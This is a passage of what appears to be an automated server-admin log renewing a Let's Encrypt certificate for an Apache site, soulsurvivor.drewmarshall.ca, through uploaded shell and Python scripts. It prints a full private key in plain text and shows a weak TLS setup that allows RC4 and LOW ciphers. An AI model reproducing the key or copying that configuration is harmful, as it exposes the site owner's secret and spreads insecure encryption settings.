MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2025-09-01 06:00:12: Establishing a connection
2025-09-01 06:00:12: Establishing a connection
2025-09-01 06:00:12: 

PUT: /tmp/pkp371095

#!/bin/bash
if [ -d "/var/www/drewmarshall_soulsurvivor/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-09-01 06:00:12: 

chmod 755 /tmp/pkp371095; /tmp/pkp371095; rm /tmp/pkp371095

2025-09-01 06:00:12: 


1


2025-09-01 06:00:13: Establishing a connection
2025-09-01 06:00:13: 

PUT: /tmp/pkp684242

#!/bin/bash
mkdir -p "/var/www/drewmarshall_soulsurvivor/.well-known/acme-challenge/"
cd "/var/www/drewmarshall_soulsurvivor/.well-known/acme-challenge/"
cat > LcgKMfsIKU2h9Y2CbE2ghz9BgY43n-EE7PobPlTkmAQ <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
LcgKMfsIKU2h9Y2CbE2ghz9BgY43n-EE7PobPlTkmAQ.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 LcgKMfsIKU2h9Y2CbE2ghz9BgY43n-EE7PobPlTkmAQ


2025-09-01 06:00:13: 

chmod 755 /tmp/pkp684242; /tmp/pkp684242; rm /tmp/pkp684242

2025-09-01 06:00:13: 




2025-09-01 06:00:18: Establishing a connection
2025-09-01 06:00:18: 

PUT: /tmp/pkp776790

#!/bin/bash
mkdir -p "/var/www/drewmarshall_soulsurvivor/.well-known/acme-challenge/"
cd "/var/www/drewmarshall_soulsurvivor/.well-known/acme-challenge/"
rm LcgKMfsIKU2h9Y2CbE2ghz9BgY43n-EE7PobPlTkmAQ


2025-09-01 06:00:18: 

chmod 755 /tmp/pkp776790; /tmp/pkp776790; rm /tmp/pkp776790

2025-09-01 06:00:18: 




2025-09-01 06:00:18: Establishing a connection
2025-09-01 06:00:19: 

PUT: /tmp/pkp723372

#!/bin/bash
temp_file=$(mktemp)
TARGET=d7b28d3c1e1bd0c8221fd57011c5053a.crt

cat > $temp_file <<'endmsg'
d1:87:83:6f:e6:27:5c:ec:3d:32:21:15:1c:ec:12:66

-----BEGIN CERTIFICATE-----
MIIFFDCCA/ygAwIBAgISBaghg5AYzwokZt/ZCe/gx6agMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUwOTAxMDUwMTQ4WhcNMjUxMTMwMDUwMTQ3WjAnMSUwIwYDVQQD
Exxzb3Vsc3Vydml2b3IuZHJld21hcnNoYWxsLmNhMIIBIjANBgkqhkiG9w0BAQEF
AAOCAQ8AMIIBCgKCAQEAqRd0rZmlG04oX/OsGZjk0Muce4k+hmF+4bd358zr64Oj
8B/320IWLb885i436teXcyrLDJE2VBScZkzvzZu7TaMw4mzRIdn36gzHTQsXbmhh
6Pwad2htuOzTnpn1v4pZQ+o4qijk8pGeA2hDBOlE60s+DCX6UFE/XbgnPCbeR629
LLeDepT30k5A0/zEvd+4UK7mVvN++aNw3/DJc60gJsVDRHPYPUABxVhYZUgqOdXr
yZb8oGsCHCv9eRRd/APVjG4zjiEo48XkN45Ebnq0yD1WHgByCX3ik8iuII1r25q2
bf7xhWvsdlQ92/M1HNTxzo9fGQs96BsU0pjxP6UuXQIDAQABo4ICLDCCAigwDgYD
VR0PAQH/BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNV
HRMBAf8EAjAAMB0GA1UdDgQWBBTpJqrtqHTIWs8CgoTl2lkbt0FyMjAfBgNVHSME
GDAWgBTnq58PLDOgU9NeT3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYB
BQUHMAKGF2h0dHA6Ly9yMTMuaS5sZW5jci5vcmcvMCcGA1UdEQQgMB6CHHNvdWxz
dXJ2aXZvci5kcmV3bWFyc2hhbGwuY2EwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYD
VR0fBCcwJTAjoCGgH4YdaHR0cDovL3IxMy5jLmxlbmNyLm9yZy8zMy5jcmwwggEE
BgorBgEEAdZ5AgQCBIH1BIHyAPAAdgAN4fIwK9MNwUBiEgnqVS78R3R8sdfpMO8O
Qh60fk6qNAAAAZkD3K5DAAAEAwBHMEUCIQDAKFK1YqiDeJVZiEZqrnqW5xwiD5kY
n0OP9pWa2T/vugIgOaCfyYgiZgcJK2vNka0/t0MdM87loJtaRdSRS7mxbEUAdgAa
BP9J0FQdQK/2oMO/8djEZy9O7O4jQGiYaxdALtyJfQAAAZkD3K6TAAAEAwBHMEUC
IBxHkIPW0sYQWsZ8dbjYpRB715TUnNI7O5DwkEP9xxzJAiEAqXC4Kt/xVSZgAPYW
outC8VIs7CiC/7vQ7As6l4zdyrwwDQYJKoZIhvcNAQELBQADggEBAIjO3KJEzTtx
2keFUVPjd5I2MIzKRekTw9/mG4iFB5+/OuwwyiYL9P3j1bUr5hJaxDeXHKMZH3EO
6RFMCY3klWfIqlM9BEZzMyvJcpzDcmNSDJZM4B+tQbU5p8+drTHWAnGEinmqPv5l
onY+eCNNic1gp7h2VaQtq8NFA0lO/y3uQlxFF8SHi4f8T1E7EwQXqCRDzABx5IA2
1qzgAE5iD0H3QDnw9mxN6i7dXOhV6ksaS6+2jRdNUKUseeBIx/qXUKvbqaPjixxG
y57/M0R47ydbdEfakmFHBZAneXdgKEeq/MkTYV4n/YhzYowr/Ud4XBtyA0NCE6+l
VQBshUpmqLY=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQCpF3StmaUbTihf
86wZmOTQy5x7iT6GYX7ht3fnzOvrg6PwH/fbQhYtvzzmLjfq15dzKssMkTZUFJxm
TO/Nm7tNozDibNEh2ffqDMdNCxduaGHo/Bp3aG247NOemfW/illD6jiqKOTykZ4D
aEME6UTrSz4MJfpQUT9duCc8Jt5Hrb0st4N6lPfSTkDT/MS937hQruZW8375o3Df
8MlzrSAmxUNEc9g9QAHFWFhlSCo51evJlvygawIcK/15FF38A9WMbjOOISjjxeQ3
jkRuerTIPVYeAHIJfeKTyK4gjWvbmrZt/vGFa+x2VD3b8zUc1PHOj18ZCz3oGxTS
mPE/pS5dAgMBAAECggEASQjjkbQid2fL0p36QNgkRPcdMNK32e00k6PeO5XsdL5Y
SfhU4zRpRfsq/7UI2/ug49Kg/12dXLXGU/15OpLAVSlejP45Wmi+Ry6byvA2f67A
U5TIjbjiY5SPVxri5YeJROde8EhXk1pIKOqYv/9NkF/gffjNZHGjcASBld6n9ccl
/usQuaeegoNDSQgj0JBp+7QZ1j6gm2c9N+lCHGq1UY7yyvwf1SF/Oi7jMwKCuh8r
YvwG+RJnI6uQY5BacD/c/KBIDkMcQs3BKWHzUhKpm6zuvRswlqZGzUPSSx1IrZjm
UkPjejY+JRFTEBzVTxGS4BbZm3IBHNpiRiD0l90foQKBgQDg5YTpNBCpuV6rAtnd
n4qIuB6Vy/obNDiEw+a1zpPrMQ+/bRwrbSqFwCl/gaCR6rIVwPLwwlkHR4/9KLV8
glyaakvk9xJSSC2K9aH8ycGqxM/nhbMTk5CX8bQf+j6jWIOp9oTz7N77NytGkKan
ps5m2IPXME5zw7eHKaIDUpAbeQKBgQDAeiiKTDq0uV+Hq4Bs0r5SsYhZ7Vaav15r
FOrrxjDlDBlMzUS/jI+I9KQauCOWIgfsMH4eEk/yANFShR/2tqHWvBwPiFCy5294
sTIU8brlXYHCLSvUI4NN6T1RuGBZFfIImDHZ8dm/Tfp4nXZEcW6zGaAc0ex41N9H
cKpb4YuNBQKBgB6AAh5+aSQbd7NJl7JuyKLyFXPLTggSdPfMeaV+dqEW7kPP0Foz
W+j3vqkEM3qWkcBRgqEUOm66TdTPiI1yQIzQjapnt5xhHYwS8/0Mf69hMbD8eOTW
xm1U4lDT51rPzktmm3FZVoRLXxsa0v85qBRamMa+TmV0zZcPFmHM+K5BAoGATzq5
r1v7mmLoCO+2uJTzVRTRHLtOt/poQknk/dKiU9ZsH6orT3Hrr6OMXZdIxscRXc8E
Sxqcn/BoOcCkzKiW686Y+mfRWCNeRl8iT27F0R5xiF2Rugw4Q3zsCdSMjH81FwaX
FrCwQkg1/ypKAZhzyfOVbeeXoJF3q2+cIKAyEoUCgYAdpjvnmQ4hD8FzFgUBlfbT
MiygnboIWrAxC+v+JqzGcTF7KyDJDIr7wV3IUgyujiAKbljNQoOEjitwXixPMexS
yWNIpbIRX14ZPXUH2aZ+ozvthYRdfwSeYHM7fbvJdM/0ghUZFmkrHnL6vsPRgX1N
2gP5JlYrBX/JEEs+c6IbBg==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-09-01 06:00:19: 

chmod 755 /tmp/pkp723372; /tmp/pkp723372; rm /tmp/pkp723372

2025-09-01 06:00:19: 


dir=/etc/ssl/certs


2025-09-01 06:00:19: 

PUT: /tmp/pkp683308

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-09-01 06:00:19: 

chmod 755 /tmp/pkp683308; /tmp/pkp683308; rm /tmp/pkp683308

2025-09-01 06:00:19: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf 52

<VirtualHost *:80>
    ServerName	soulsurvivor.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/drewmarshall_soulsurvivor
    <Directory /var/www/drewmarshall_soulsurvivor>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/soulsurvivor_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/soulsurvivor_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	soulsurvivor.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/d7b28d3c1e1bd0c8221fd57011c5053a.crt
    DocumentRoot	/var/www/drewmarshall_soulsurvivor
    <Directory /var/www/drewmarshall_soulsurvivor>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/soulsurvivor_secure_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/soulsurvivor_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2025-09-01 06:00:19: 

PUT: /tmp/pkp777467

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=drewmarshall_soulsurvivor_ca.conf
TARGET=/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	soulsurvivor.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/drewmarshall_soulsurvivor
    <Directory /var/www/drewmarshall_soulsurvivor>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/soulsurvivor_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/soulsurvivor_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	soulsurvivor.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/d7b28d3c1e1bd0c8221fd57011c5053a.crt
    DocumentRoot	/var/www/drewmarshall_soulsurvivor
    <Directory /var/www/drewmarshall_soulsurvivor>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/soulsurvivor_secure_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/soulsurvivor_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf)= /etc/apache2//etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf= 1'
fi


2025-09-01 06:00:19: 

chmod 755 /tmp/pkp777467; /tmp/pkp777467; rm /tmp/pkp777467

2025-09-01 06:00:19: 




2025-09-01 06:00:19: 

PUT: /tmp/pkp873999

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-09-01 06:00:19: 

chmod 755 /tmp/pkp873999; /tmp/pkp873999; rm /tmp/pkp873999

2025-09-01 06:00:19: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-09-01 06:00:19: Establishing a connection
2025-09-01 06:00:19: 

PUT: /tmp/pkp374831

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-09-01 06:00:19: 

chmod 755 /tmp/pkp374831; /tmp/pkp374831; rm /tmp/pkp374831

2025-09-01 06:00:19: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:2)
                 alias www.bucketgigs.ca
         port 80 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:2)
                 alias www.dgmarshall.ca
         port 80 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:2)
                 alias www.dgmarshall.com
         port 80 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:2)
         port 80 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:2)
         port 80 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:2)
         port 80 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:2)
         port 80 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:2)
         port 80 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:2)
         port 80 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:2)
                 alias www.drewmarshall.ca
         port 80 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:2)
                 alias www.hillrunfarm.ca
         port 80 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:2)
                 alias www.ineedtosaythis.com
         port 80 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:2)
                 alias sosretreats.ca
                 alias www.sosretreats.ca
                 alias www.sosretreatscanada.com
                 alias sosretreatscanada.ca
                 alias www.sosretreatscanada.ca
*:443                  is a NameVirtualHost
         default server bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
         port 443 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
                 alias www.bucketgigs.ca
         port 443 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:23)
                 alias www.dgmarshall.ca
         port 443 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:23)
                 alias www.dgmarshall.com
         port 443 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:19)
         port 443 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:22)
         port 443 AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:22)
         port 443 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:22)
         port 443 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:19)
         port 443 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:22)
         port 443 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:20)
                 alias www.drewmarshall.ca
         port 443 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:23)
                 alias www.hillrunfarm.ca
         port 443 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:20)
                 alias www.ineedtosaythis.com
         port 443 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:25)
                 alias sosretreats.ca
                 alias www.sosretreats.ca
                 alias www.sosretreatscanada.com
                 alias sosretreatscanada.ca
                 alias www.sosretreatscanada.ca
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-09-01 06:00:19: 

PUT: /tmp/pkp390989

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-09-01 06:00:19: 

chmod 755 /tmp/pkp390989; /tmp/pkp390989; rm /tmp/pkp390989

2025-09-01 06:00:19: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf	1429

<VirtualHost *:80>
    ServerName	soulsurvivor.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/drewmarshall_soulsurvivor
    <Directory /var/www/drewmarshall_soulsurvivor>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/soulsurvivor_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/soulsurvivor_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	soulsurvivor.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/d7b28d3c1e1bd0c8221fd57011c5053a.crt
    DocumentRoot	/var/www/drewmarshall_soulsurvivor
    <Directory /var/www/drewmarshall_soulsurvivor>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/soulsurvivor_secure_access.log combined
